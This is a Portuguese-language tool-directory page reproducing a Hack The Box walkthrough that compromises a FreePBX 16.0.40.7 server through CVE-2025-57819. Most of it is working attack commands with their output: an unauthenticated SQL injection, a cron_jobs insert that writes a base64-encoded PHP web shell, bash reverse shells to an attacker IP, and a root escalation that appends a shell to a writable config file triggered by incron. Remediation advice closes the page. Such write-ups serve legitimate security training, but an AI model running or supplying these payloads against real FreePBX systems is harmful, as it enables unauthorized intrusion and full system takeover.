Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
FreePBX-SQLi-Exploit-Privilege-escalation — Este walkthrough documenta o comprometimento completo da máquina Connected do HTB. | Kitploit
Ferramentas/GitHubGitHub/itsc1sco/freepbx-sqli-exploit-privilege-escalation
Escalada de PrivilégiosAnálise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e Educação

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
itsc1sco/freepbx-sqli-exploit-privilege-escalation

FreePBX-SQLi-Exploit-Privilege-escalation

Este walkthrough documenta o comprometimento completo da máquina Connected do HTB.

Ver Repositório
117há 1 mêsAinda não revisado

FreePBX: De Injeção SQL Não Autenticada a Shell Root

CVE-2025-57819 • FreePBX 16.0.40.7 • HTB Connected


📋 Resumo Executivo

Este passo a passo documenta o comprometimento completo da máquina HTB Connected.

A cadeia de ataque começa com uma vulnerabilidade de injeção SQL não autenticada no FreePBX, que é explorada para obter execução de código como o usuário asterisk por meio de um cron job malicioso. Um arquivo de configuração gravável combinado com um gatilho incron permite então a escalada de privilégios para root.

Este caso demonstra como vulnerabilidades de aplicações web, quando combinadas com permissões locais fracas e automação privilegiada insegura, podem levar ao comprometimento total do sistema.


🔍 Etapa 1 – Enumeração e Descoberta de Host Virtual

Uma varredura rápida de portas revela as portas abertas do alvo:

root@kitploit:~
nmap -T5 --open <MACHINE_IP>
PortaServiço
22SSH
80HTTP
443HTTPS

Uma inspeção adicional mostra um servidor Apache executando PHP 7.4, com um redirecionamento HTTP para:

root@kitploit:~
http://connected.htb/

Para acessar o site corretamente, adicione o mapeamento do host virtual:

root@kitploit:~
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts

Navegando para http://connected.htb/ revela:

root@kitploit:~
FreePBX 16.0.40.7

🕳️ Etapa 2 – Explorando a CVE-2025-57819 (Injeção SQL)

A pesquisa identifica a CVE-2025-57819, uma vulnerabilidade de injeção SQL baseada em erro não autenticada no componente Endpoint Manager do FreePBX.

Confirme a vulnerabilidade extraindo o usuário do banco de dados:

root@kitploit:~
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"

A resposta contém:

root@kitploit:~
~USER:freepbxuser@localhost~

Isso confirma que a injeção SQL funciona e que a aplicação se conecta ao MySQL como:

root@kitploit:~
freepbxuser@localhost

⚙️ Etapa 3 – Obtendo Execução de Código via Tarefas Agendadas

O FreePBX armazena tarefas agendadas na tabela cron_jobs.

Ao injetar uma entrada maliciosa nesta tabela, comandos arbitrários podem ser agendados para execução.

O payload a seguir cria um web shell PHP na raiz web:

root@kitploit:~
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "

O servidor retorna um erro genérico 500, mas a instrução SQL é executada com sucesso.

Após aproximadamente um minuto, verifique se o web shell foi criado:

root@kitploit:~
curl -ik "https://connected.htb/c1sco.php?cmd=id"

Saída:

root@kitploit:~
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

Agora temos execução de comandos como o usuário asterisk por meio de requisições HTTP.


💻 Etapa 4 – Estabelecendo um Reverse Shell Interativo

Inicie um listener Netcat na máquina atacante:

root@kitploit:~
nc -lvnp 4444

Dispare um reverse shell Bash através do web shell:

root@kitploit:~
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"

Uma conexão é estabelecida:

root@kitploit:~
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)

Agora temos um shell interativo como o usuário asterisk.


🔎 Etapa 5 – Enumeração Local e Caminho de Escalada de Privilégios

Procure por arquivos graváveis em /etc, excluindo falsos positivos conhecidos:

root@kitploit:~
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20

Um resultado notável é:

root@kitploit:~
/etc/dahdi/init.conf

Em seguida, examine a configuração do incron:

root@kitploit:~
cat /etc/incron.d/*

Isso revela o seguinte monitor de sistema de arquivos:

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

Isso significa que sempre que o arquivo sentinela:

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart

for gravado, o seguinte script é executado:

root@kitploit:~
/usr/sbin/sysadmin_dahdi_restart

A inspeção do script revela que ele carrega (sources):

root@kitploit:~
/etc/dahdi/init.conf

Como /etc/dahdi/init.conf é gravável pelo usuário asterisk e é carregado por um processo root, isso fornece um caminho para execução arbitrária de comandos como root.


🚀 Etapa 6 – Escalando para Root via DAHDI

Inicie um segundo listener Netcat na porta 4445:

root@kitploit:~
nc -lvnp 4445

A partir do shell do asterisk, anexe um payload de reverse shell ao arquivo de configuração gravável:

root@kitploit:~
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf

Dispare a ação do incron gravando no arquivo monitorado:

root@kitploit:~
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart

Em poucos segundos, o shell root se conecta:

root@kitploit:~
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)

🎯 Acesso root total alcançado!


🏁 Etapa 7 – Capturando as Flags

Flag de Usuário

root@kitploit:~
cat /home/asterisk/user.txt

Saída:

root@kitploit:~
HTB{...user_flag...}

Flag de Root

root@kitploit:~
cat /root/root.txt

Saída:

root@kitploit:~
HTB{...root_flag...}

📚 Resumo da Cadeia de Ataque

root@kitploit:~
Injeção SQL Não Autenticada
            │
            ▼
     Execução de Consulta MySQL
            │
            ▼
   Inserir Cron Job Malicioso
            │
            ▼
      PHP Web Shell
            │
            ▼
      Shell asterisk
            │
            ▼
 /etc/dahdi/init.conf Gravável
            │
            ▼
       Gatilho incron
            │
            ▼
      Execução de Comando Root
            │
            ▼
          root

📊 Lições Aprendidas

VulnerabilidadeImpacto
Injeção SQL Não AutenticadaExpôs o contexto do usuário do banco de dados e forneceu uma base para gravar dados maliciosos
Injeção de Cron JobPermitiu execução remota de código como uma conta de serviço de baixo privilégio

🔐 Recomendações

1. Valide a Entrada do Usuário

Use consultas parametrizadas e validação rigorosa de entrada para todas as operações de banco de dados.

Nunca concatene entrada controlada pelo usuário diretamente em consultas SQL.

2. Restrinja as Permissões de Arquivos de Configuração

Arquivos de configuração consumidos por serviços privilegiados não devem ser graváveis por contas de serviço de baixo privilégio.

Em particular, revise as permissões de arquivos em:

root@kitploit:~
/etc/

3. Revise os Jobs de Cron e Incron

Audite regularmente tarefas agendadas e monitores de sistema de arquivos.

Jobs privilegiados não devem executar comandos com base em arquivos que usuários não confiáveis possam modificar.

4. Evite Carregar Configurações Não Confiáveis

Scripts de propriedade do root devem evitar carregar arquivos de configuração que possam ser modificados por usuários sem privilégios.

5. Aplique o Princípio do Menor Privilégio

Aplicações web e serviços devem ser executados com as permissões mínimas necessárias para sua operação.

Reduzir os privilégios do ambiente FreePBX/Apache pode limitar significativamente o impacto de um comprometimento bem-sucedido da aplicação.


🏆 Cadeia de Ataque Final

root@kitploit:~
CVE-2025-57819
      │
      ▼
Injeção SQL Não Autenticada
      │
      ▼
Manipulação da Tabela cron_jobs
      │
      ▼
PHP Web Shell Agendado
      │
      ▼
Usuário asterisk
      │
      ▼
/etc/dahdi/init.conf Gravável
      │
      ▼
Monitor de Arquivos incron
      │
      ▼
Script DAHDI Privilegiado
      │
      ▼
Shell Root
      │
      ▼
🏆 Comprometimento Total do Sistema

Aviso Legal: Este artigo tem fins educacionais e de testes de segurança autorizados, como laboratórios Hack The Box e ambientes controlados.

Baixar ferramenta
Arquivo de Configuração Gravável + incronPermitiu escalada direta de privilégios para root
Script Privilegiado Carregando Arquivo Gravável pelo UsuárioPermitiu que comandos arbitrários fossem executados com privilégios de root